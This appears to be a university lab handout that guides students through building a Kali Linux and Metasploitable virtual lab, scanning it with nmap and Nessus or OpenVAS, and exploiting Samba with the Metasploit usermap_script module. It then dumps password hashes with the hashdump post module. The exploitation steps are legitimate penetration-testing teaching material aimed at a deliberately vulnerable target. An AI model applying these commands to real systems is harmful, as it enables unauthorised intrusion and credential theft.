Training 1 - Setup the lab and first exploit

Loïc Delestra

A/ Installing Virtual Box

For this training courses we will use lots of different system.
We will create a virtual lab. It's a set of virtualised pre-build systems with internal networks.
For the first training you will use a Kali Linux and a Metasploitable system.

Kali Linux is a Linux distribution, based on Debian, with lots of security tools.
Metasploitable is a Linux distribution with lots of security issues and vulnerable web applications.

The perfect couple!

B/ Setup the lab

The first part of this training will be setup your lab.

1. Virtualbox.
   For your practical work Virtualbox is already installed.

Computers in A214 have /VM/ folder shared by every system in that machine. Before adding the first VM you need to change the default image directory for /VM.

2. Installing Kali Linux Offensive Security (the company behind Kali) provide a pre-installed VM of Kali. The pre-installed VM is already downloaded on your computer in the /VM/ directory. Start Virtualbox and click 'file/import Appliance' and import the Kali-Linux-2.0.0-vbox-i686.ova file.

if you cant found the .ova file in /VM/, it can be download. Download url:
Kali Linux for VMware and VirtualBox
https://www.offensive-security.com/kali-linux-vmware-arm-image-download/
Be sure to download the VirtualBox one (by default it display the VMware) 64bit with PAE.

3. Installing Metaspoitable
   Metasploitable is a vulnerable distribution provided by rapid7 the company behind the Metasploit framework. It's also already downloaded on your computer in /VM/ directory'. Unzip it into /VM/ and add this existing VM into VirtualBox. Start Virtualbox, click 'New' and select 'use an existing virtual hard disk file', point to '/VM/metasploitable–/–.vmdk', and create. Run it. Use login:msfadmin password:msfadmin Check the network interface.

if you cant found the metasploitable archive in /VM/, it can be download. Download link: http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip

4. Create an internal network
   Kali and Metasploitable use two nat connections. Add a new interface at the Kali network as internal network. Change the existing interface of Metasploitable to use the same internal network as Kali. Check the VMs can ping each other.

C/ Scanning

Your two VMs are in the same network.

5. From kali run a nmap scan on your Metasploitable VM.

6. How many open port do you find?

You find lots of open port (ok its a distribution made for that), but how many are exploitable? You will use a vulnerability scanner to find exploitable vulterability.

C.A/ Scanning with NESSUS

Nessus is one of the best vulnerability scanner. It's made by tenable network security. This product is a little expensive, for this training we will use the Evaluation version (with number of IP's per scanner limited).

7. **update:** NESSUS installation doesn't fit this lab constraints (ressources, network usage, licensing). for this training go to C.B
8. Download and install The nessus scanner.

In the Kali VM!
Download link:
http://www.tenable.com/products/nessus/nessus-professional/evaluate

Installation command: `sudo dpkg -i *.deb`

Follow the installer instruction

At the end of the installation your nessus is not ready yet. You have to 'configure it'

```
 - You can start nessusd by typing /etc/init.d/nessusd start
 - Then go to https://kali:8834/ to configure your scanner
```

9. When configuration is done. From the Nessus interface run a "Basic Network Scan" on your Metasploitable VM.
10. Look at the result. Specialy the critical and medium vulnerability.
11. Look at the Samba 3.0.0 SamrChangePassword issue. You got lots of information about the vulnerability. In the right collumn 'exploitable with' give you the name of the metasploit module you can use for this vulnerability.

C.B/ Scanning with OpenVAS

OpenVAS (Open vulnerability Assessment System) is an open source tool for testing vulnerabilities.

12. initialise openVAS: `openvas-setup` and `openvas-scapdata-sync` and `openvas-certdata-sync`
13. add a new user: `openvas-adduser`
14. gsd
15. You can now access to the server interface at localhost and logins you set earlier.
16. Start a new vulnerability scan with 'new/tasks' set the scan target and click create. Run the new task by right clicking on it and 'start'.

D/ Exploit

17. In your kali open a terminal and run `msfconsole` it must run the metasploit framework.
18. Search for samba exploits with `search samba` . You got different exploits. into this list search for usermap_script.
19. use exploit/multi/samba/usermap_script ... realy type `use exploit/multi/samba/usermap_script`
    This command will charge the module you want. The prompt must change and display the current module.
20. display options for this module with `show options`
21. Set the RHOST option with the ip of the Metasploitable VM. RHOST is the target machine. Use `set RHOST <ip>`
22. display options again
23. Start the exploit with the command `exploit`

D/ Post exploit

With the exploit you got an interactive session with the target machine and you can execute a payload.
Wikipedia: "In computer security, payload refers to the part of malware which performs a malicious action."

24. If your exploit succed you are in a session
25. presse `<ctrl> + z` in same time to put your session in background
26. List running session with `sessions -l`
27. You will use this session to execute a payload that will display password hash.
    I will not give you commands this time. Its work just like the previous part.

- Use the post/linux/gather/hashdump module

- display options
- set options how need to
- exploit

If you succed you must see a list of user hashed password

Call your teacher to check